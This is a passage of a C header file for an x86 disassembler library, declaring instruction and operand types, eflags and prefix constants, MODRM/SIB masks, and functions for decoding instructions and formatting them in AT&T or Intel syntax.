REGISTER_TYPE_CONTROL 4 157 | #define REGISTER_TYPE_TEST 5 158 | #define REGISTER_TYPE_XMM 6 159 | #define REGISTER_TYPE_MMX 7 160 | #define REGISTER_TYPE_FPU 8 161 | 162 | // Disassembling mode 163 | enum Mode { 164 | MODE_32, // 32-bit 165 | MODE_16 // 16-bit 166 | }; 167 | 168 | // Disassembling format 169 | enum Format { 170 | FORMAT_ATT, 171 | FORMAT_INTEL, 172 | }; 173 | 174 | // Process eflags 175 | #define EFL_CF (1 << 0) 176 | #define EFL_PF (1 << 2) 177 | #define EFL_AF (1 << 4) 178 | #define EFL_ZF (1 << 6) 179 | #define EFL_SF (1 << 7) 180 | #define EFL_TF (1 << 8) 181 | #define EFL_IF (1 << 9) 182 | #define EFL_DF (1 << 10) 183 | #define EFL_OF (1 << 11) 184 | #define EFL_MATH EFL_OF|EFL_SF|EFL_ZF|EFL_AF|EFL_PF|EFL_CF 185 | #define EFL_BITWISE EFL_OF|EFL_CF|EFL_SF|EFL_ZF|EFL_PF 186 | #define EFL_ALL_COMMON EFL_CF|EFL_OF|EFL_SF|EFL_ZF|EFL_AF|EFL_PF 187 | 188 | // Instruction types (just the most common ones atm) 189 | enum Instruction { 190 | // Integer instructions 191 | INSTRUCTION_TYPE_ASC, // aaa, aam, etc. 192 | INSTRUCTION_TYPE_DCL, // daa, das 193 | INSTRUCTION_TYPE_MOV, 194 | INSTRUCTION_TYPE_MOVSR, // segment register 195 | INSTRUCTION_TYPE_ADD, 196 | INSTRUCTION_TYPE_XADD, 197 | INSTRUCTION_TYPE_ADC, 198 | INSTRUCTION_TYPE_SUB, 199 | INSTRUCTION_TYPE_SBB, 200 | INSTRUCTION_TYPE_INC, 201 | INSTRUCTION_TYPE_DEC, 202 | INSTRUCTION_TYPE_DIV, 203 | INSTRUCTION_TYPE_IDIV, 204 | INSTRUCTION_TYPE_NOT, 205 | INSTRUCTION_TYPE_NEG, 206 | INSTRUCTION_TYPE_STOS, 207 | INSTRUCTION_TYPE_LODS, 208 | INSTRUCTION_TYPE_SCAS, 209 | INSTRUCTION_TYPE_MOVS, 210 | INSTRUCTION_TYPE_MOVSX, 211 | INSTRUCTION_TYPE_MOVZX, 212 | INSTRUCTION_TYPE_CMPS, 213 | INSTRUCTION_TYPE_SHX, // signed/unsigned shift left/right 214 | INSTRUCTION_TYPE_ROX, // signed/unsigned rot left/right 215 | INSTRUCTION_TYPE_MUL, 216 | INSTRUCTION_TYPE_IMUL, 217 | INSTRUCTION_TYPE_EIMUL, // "extended" imul with 2-3 operands 218 | INSTRUCTION_TYPE_XOR, 219 | INSTRUCTION_TYPE_LEA, 220 | INSTRUCTION_TYPE_XCHG, 221 | INSTRUCTION_TYPE_CMP, 222 | INSTRUCTION_TYPE_TEST, 223 | INSTRUCTION_TYPE_PUSH, 224 | INSTRUCTION_TYPE_AND, 225 | INSTRUCTION_TYPE_OR, 226 | INSTRUCTION_TYPE_POP, 227 | INSTRUCTION_TYPE_JMP, 228 | INSTRUCTION_TYPE_JMPC, // conditional jump 229 | INSTRUCTION_TYPE_JECXZ, 230 | INSTRUCTION_TYPE_SETC, // conditional byte set 231 | INSTRUCTION_TYPE_MOVC, // conditional mov 232 | INSTRUCTION_TYPE_LOOP, 233 | INSTRUCTION_TYPE_CALL, 234 | INSTRUCTION_TYPE_RET, 235 | INSTRUCTION_TYPE_ENTER, 236 | INSTRUCTION_TYPE_INT, // interrupt 237 | INSTRUCTION_TYPE_BT, // bit tests 238 | INSTRUCTION_TYPE_BTS, 239 | INSTRUCTION_TYPE_BTR, 240 | INSTRUCTION_TYPE_BTC, 241 | INSTRUCTION_TYPE_BSF, 242 | INSTRUCTION_TYPE_BSR, 243 | INSTRUCTION_TYPE_BSWAP, 244 | INSTRUCTION_TYPE_SGDT, 245 | INSTRUCTION_TYPE_SIDT, 246 | INSTRUCTION_TYPE_SLDT, 247 | INSTRUCTION_TYPE_LFP, 248 | INSTRUCTION_TYPE_CLD, 249 | INSTRUCTION_TYPE_STD, 250 | INSTRUCTION_TYPE_XLAT, 251 | // FPU instructions 252 | INSTRUCTION_TYPE_FCMOVC, // float conditional mov 253 | INSTRUCTION_TYPE_FADD, 254 | INSTRUCTION_TYPE_FADDP, 255 | INSTRUCTION_TYPE_FIADD, 256 | INSTRUCTION_TYPE_FSUB, 257 | INSTRUCTION_TYPE_FSUBP, 258 | INSTRUCTION_TYPE_FISUB, 259 | INSTRUCTION_TYPE_FSUBR, 260 | INSTRUCTION_TYPE_FSUBRP, 261 | INSTRUCTION_TYPE_FISUBR, 262 | INSTRUCTION_TYPE_FMUL, 263 | INSTRUCTION_TYPE_FMULP, 264 | INSTRUCTION_TYPE_FIMUL, 265 | INSTRUCTION_TYPE_FDIV, 266 | INSTRUCTION_TYPE_FDIVP, 267 | INSTRUCTION_TYPE_FDIVR, 268 | INSTRUCTION_TYPE_FDIVRP, 269 | INSTRUCTION_TYPE_FIDIV, 270 | INSTRUCTION_TYPE_FIDIVR, 271 | INSTRUCTION_TYPE_FCOM, 272 | INSTRUCTION_TYPE_FCOMP, 273 | INSTRUCTION_TYPE_FCOMPP, 274 | INSTRUCTION_TYPE_FCOMI, 275 | INSTRUCTION_TYPE_FCOMIP, 276 | INSTRUCTION_TYPE_FUCOM, 277 | INSTRUCTION_TYPE_FUCOMP, 278 | INSTRUCTION_TYPE_FUCOMPP, 279 | INSTRUCTION_TYPE_FUCOMI, 280 | INSTRUCTION_TYPE_FUCOMIP, 281 | INSTRUCTION_TYPE_FST, 282 | INSTRUCTION_TYPE_FSTP, 283 | INSTRUCTION_TYPE_FIST, 284 | INSTRUCTION_TYPE_FISTP, 285 | INSTRUCTION_TYPE_FISTTP, 286 | INSTRUCTION_TYPE_FLD, 287 | INSTRUCTION_TYPE_FILD, 288 | INSTRUCTION_TYPE_FICOM, 289 | INSTRUCTION_TYPE_FICOMP, 290 | INSTRUCTION_TYPE_FFREE, 291 | INSTRUCTION_TYPE_FFREEP, 292 | INSTRUCTION_TYPE_FXCH, 293 | INSTRUCTION_TYPE_SYSENTER, 294 | INSTRUCTION_TYPE_FPU_CTRL, // FPU control instruction 295 | INSTRUCTION_TYPE_FPU, // Other FPU instructions 296 | 297 | INSTRUCTION_TYPE_MMX, // Other MMX instructions 298 | 299 | INSTRUCTION_TYPE_SSE, // Other SSE instructions 300 | 301 | INSTRUCTION_TYPE_OTHER, // Other instructions :-) 302 | INSTRUCTION_TYPE_PRIV // Privileged instruction 303 | }; 304 | 305 | // Operand types 306 | enum Operand { 307 | OPERAND_TYPE_NONE, // operand not present 308 | OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.) 309 | OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.) 310 | OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234) 311 | }; 312 | 313 | // Structure definitions 314 | 315 | // struct INST is used internally by the library 316 | typedef struct _INST { 317 | DWORD type; // Instruction type and flags 318 | const char *mnemonic; // Instruction mnemonic 319 | int flags1; // First operand flags (if any) 320 | int flags2; // Second operand flags (if any) 321 | int flags3; // Additional operand flags (if any) 322 | int modrm; // Is MODRM byte present? 323 | short eflags_affected; // Processor eflags affected 324 | short eflags_used; // Processor eflags used by this instruction 325 | int iop_written; // mask of affected implied registers (written) 326 | int iop_read; // mask of affected implied registers (read) 327 | } INST, *PINST; 328 | 329 | // Operands for the instruction 330 | typedef struct _OPERAND { 331 | enum Operand type; // Operand type (register, memory, etc) 332 | int reg; // Register (if any) 333 | int basereg; // Base register (if any) 334 | int indexreg; // Index register (if any) 335 | int scale; // Scale (if any) 336 | int dispbytes; // Displacement bytes (0 = no displacement) 337 | int dispoffset; // Displacement value offset 338 | int immbytes; // Immediate bytes (0 = no immediate) 339 | int immoffset; // Immediate value offset 340 | int sectionbytes; // Section prefix bytes (0 = no section prefix) 341 | WORD section; // Section prefix value 342 | DWORD displacement; // Displacement value 343 | DWORD immediate; // Immediate value 344 | int flags; // Operand flags 345 | } OPERAND, *POPERAND; 346 | 347 | // struct INSTRUCTION is used to interface the library 348 | typedef struct _INSTRUCTION { 349 | int length; // Instruction length 350 | enum Instruction type; // Instruction type 351 | enum Mode mode; // Addressing mode 352 | BYTE opcode; // Actual opcode 353 | BYTE modrm; // MODRM byte 354 | BYTE sib; // SIB byte 355 | int modrm_offset; // MODRM byte offset 356 | int extindex; // Extension table index 357 | int fpuindex; // FPU table index 358 | int dispbytes; // Displacement bytes (0 = no displacement) 359 | int immbytes; // Immediate bytes (0 = no immediate) 360 | int sectionbytes; // Section prefix bytes (0 = no section prefix) 361 | OPERAND op1; // First operand (if any) 362 | OPERAND op2; // Second operand (if any) 363 | OPERAND op3; // Additional operand (if any) 364 | PINST ptr; // Pointer to instruction table 365 | int flags; // Instruction flags 366 | short eflags_affected; // Process eflags affected 367 | short eflags_used; // Processor eflags used by this instruction 368 | int iop_written; // mask of affected implied registers (written) 369 | int iop_read; // mask of affected implied registers (read) 370 | } INSTRUCTION, *PINSTRUCTION; 371 | 372 | 373 | // Function definitions 374 | 375 | int get_instruction( 376 | INSTRUCTION *inst, // pointer to INSTRUCTION structure 377 | BYTE *addr, // code buffer 378 | enum Mode mode // mode: MODE_32 or MODE_16 379 | ); 380 | 381 | // Get complete instruction string 382 | int get_instruction_string( 383 | INSTRUCTION *inst, // pointer to INSTRUCTION structure 384 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL 385 | DWORD offset, // instruction absolute address 386 | char *string, // string buffer 387 | int length // string length 388 | ); 389 | 390 | // Get mnemonic string 391 | int get_mnemonic_string( 392 | INSTRUCTION *inst, // pointer to INSTRUCTION structure 393 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL 394 | char *string, // string buffer 395 | int length // string length 396 | ); 397 | 398 | // Get individual operand string 399 | int get_operand_string( 400 | INSTRUCTION *inst, // pointer to INSTRUCTION structure 401 | POPERAND op, // pointer to OPERAND structure 402 | enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL 403 | DWORD offset, // instruction absolute address 404 | char *string, // string buffer 405 | int length // string length 406 | ); 407 | 408 | // Helper functions 409 | 410 | int get_register_type( 411 | POPERAND op 412 | ); 413 | int get_operand_type( 414 | POPERAND op 415 | ); 416 | int get_operand_register( 417 | POPERAND op 418 | ); 419 | int get_operand_basereg( 420 | POPERAND op 421 | ); 422 | int get_operand_indexreg( 423 | POPERAND op 424 | ); 425 | int get_operand_scale( 426 | POPERAND op 427 | ); 428 | int get_operand_immediate( 429 | POPERAND op, 430 | DWORD *imm // returned immediate value 431 | ); 432 | int get_operand_displacement( 433 | POPERAND op, 434 | DWORD *disp // returned displacement value 435 | ); 436 | POPERAND get_source_operand( 437 | PINSTRUCTION inst 438 | ); 439 | POPERAND get_destination_operand( 440 | PINSTRUCTION inst 441 | ); 442 | 443 | 444 | // Instruction flags (prefixes) 445 | 446 | // Group 1 447 | #define MASK_PREFIX_G1(x) ((x) & 0xff000000) >> 24 448 | #define PREFIX_LOCK 0x01000000 // 0xf0 449 | #define PREFIX_REPNE 0x02000000 // 0xf2 450 | #define PREFIX_REP 0x03000000 // 0xf3 451 | #define PREFIX_REPE 0x03000000 // 0xf3 452 | // Group 2 453 | #define MASK_PREFIX_G2(x) ((x) & 0x00ff0000) >> 16 454 | #define PREFIX_ES_OVERRIDE 0x00010000 // 0x26 455 | #define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e 456 | #define PREFIX_SS_OVERRIDE 0x00030000 // 0x36 457 | #define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e 458 | #define PREFIX_FS_OVERRIDE 0x00050000 // 0x64 459 | #define PREFIX_GS_OVERRIDE 0x00060000 // 0x65 460 | // Group 3 & 4 461 | #define MASK_PREFIX_G3(x) ((x) & 0x0000ff00) >> 8 462 | #define MASK_PREFIX_OPERAND(x) ((x) & 0x00000f00) >> 8 463 | #define MASK_PREFIX_ADDR(x) ((x) & 0x0000f000) >> 12 464 | #define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66 465 | #define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67 466 | 467 | // Extensions 468 | 469 | #define MASK_EXT(x) ((x) & 0x000000ff) 470 | #define EXT_G1_1 0x00000001 471 | #define EXT_G1_2 0x00000002 472 | #define EXT_G1_3 0x00000003 473 | #define EXT_G2_1 0x00000004 474 | #define EXT_G2_2 0x00000005 475 | #define EXT_G2_3 0x00000006 476 | #define EXT_G2_4 0x00000007 477 | #define EXT_G2_5 0x00000008 478 | #define EXT_G2_6 0x00000009 479 | #define EXT_G3_1 0x0000000a 480 | #define EXT_G3_2 0x0000000b 481 | #define EXT_G4 0x0000000c 482 | #define EXT_G5 0x0000000d 483 | #define EXT_G6 0x0000000e 484 | #define EXT_G7 0x0000000f 485 | #define EXT_G8 0x00000010 486 | #define EXT_G9 0x00000011 487 | #define EXT_GA 0x00000012 488 | #define EXT_GB 0x00000013 489 | #define EXT_GC 0x00000014 490 | #define EXT_GD 0x00000015 491 | #define EXT_GE 0x00000016 492 | #define EXT_GF 0x00000017 493 | #define EXT_G0 0x00000018 494 | 495 | // Extra groups for 2 and 3-byte opcodes, and FPU stuff 496 | #define EXT_T2 0x00000020 // opcode table 2 497 | #define EXT_CP 0x00000030 // co-processor 498 | 499 | // Instruction type flags 500 | 501 | #define TYPE_3 0x80000000 502 | #define MASK_TYPE_FLAGS(x) ((x) & 0xff000000) 503 | #define MASK_TYPE_VALUE(x) ((x) & 0x00ffffff) 504 | 505 | 506 | // Operand flags 507 | 508 | #define FLAGS_NONE 0 509 | 510 | // Operand Addressing Methods, from the Intel manual 511 | #define MASK_AM(x) ((x) & 0x00ff0000) 512 | #define AM_A 0x00010000 // Direct address with segment prefix 513 | #define AM_C 0x00020000 // MODRM reg field defines control register 514 | #define AM_D 0x00030000 // MODRM reg field defines debug register 515 | #define AM_E 0x00040000 // MODRM byte defines reg/memory address 516 | #define AM_G 0x00050000 // MODRM byte defines general-purpose reg 517 | #define AM_I 0x00060000 // Immediate data follows 518 | #define AM_J 0x00070000 // Immediate value is relative to EIP 519 | #define AM_M 0x00080000 // MODRM mod field can refer only to memory 520 | #define AM_O 0x00090000 // Displacement follows (without modrm/sib) 521 | #define AM_P 0x000a0000 // MODRM reg field defines MMX register 522 | #define AM_Q 0x000b0000 // MODRM defines MMX register or memory 523 | #define AM_R 0x000c0000 // MODRM mod field can only refer to register 524 | #define AM_S 0x000d0000 // MODRM reg field defines segment register 525 | #define AM_T 0x000e0000 // MODRM reg field defines test register 526 | #define AM_V 0x000f0000 // MODRM reg field defines XMM register 527 | #define AM_W 0x00100000 // MODRM defines XMM register or memory 528 | // Extra addressing modes used in this implementation 529 | #define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction 530 | #define AM_REG 0x00210000 // Register encoded in instruction 531 | #define AM_IND 0x00220000 // Register indirect encoded in instruction 532 | 533 | // Operand Types, from the intel manual 534 | #define MASK_OT(x) ((x) & 0xff000000) 535 | #define OT_a 0x01000000 536 | #define OT_b 0x02000000 // always 1 byte 537 | #define OT_c 0x03000000 // byte or word, depending on operand 538 | #define OT_d 0x04000000 // double-word 539 | #define OT_q 0x05000000 // quad-word 540 | #define OT_dq 0x06000000 // double quad-word 541 | #define OT_v 0x07000000 // word or double-word, depending on operand 542 | #define OT_w 0x08000000 // always word 543 | #define OT_p 0x09000000 // 32-bit or 48-bit pointer 544 | #define OT_pi 0x0a000000 // quadword MMX register 545 | #define OT_pd 0x0b000000 // 128-bit double-precision float 546 | #define OT_ps 0x0c000000 // 128-bit single-precision float 547 | #define OT_s 0x0d000000 // 6-byte pseudo descriptor 548 | #define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float 549 | #define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float 550 | #define OT_si 0x10000000 // Doubleword integer register 551 | #define OT_t 0x11000000 // 80-bit packed FP data 552 | 553 | // Operand permissions 554 | #define MASK_PERMS(x) ((x) & 0x0000f000) 555 | #define P_r 0x00004000 // Read 556 | #define P_w 0x00002000 // Write 557 | #define P_x 0x00001000 // Execute 558 | 559 | // Additional operand flags 560 | #define MASK_FLAGS(x) ((x) & 0x00000f00) 561 | #define F_s 0x00000100 // sign-extend 1-byte immediate 562 | #define F_r 0x00000200 // use segment register 563 | #define F_f 0x00000400 // use FPU register 564 | 565 | // Mask 0x000000f0 unused atm 566 | 567 | // Operand register mask 568 | #define MASK_REG(x) ((x) & 0x0000000f) 569 | 570 | 571 | 572 | // MODRM byte 573 | #define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6) 574 | #define MASK_MODRM_REG(x) (((x) & 0x38) >> 3) 575 | #define MASK_MODRM_RM(x) ((x) & 0x7) 576 | 577 | // SIB byte 578 | #define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x) 579 | #define MASK_SIB_INDEX(x) MASK_MODRM_REG(x) 580 | #define MASK_SIB_BASE(x) MASK_MODRM_RM(x) 581 | 582 | 583 | #ifdef __cplusplus 584 | } 585 | #endif 586 | 587 | #endif 588 | --------------------------------------------------------------------------------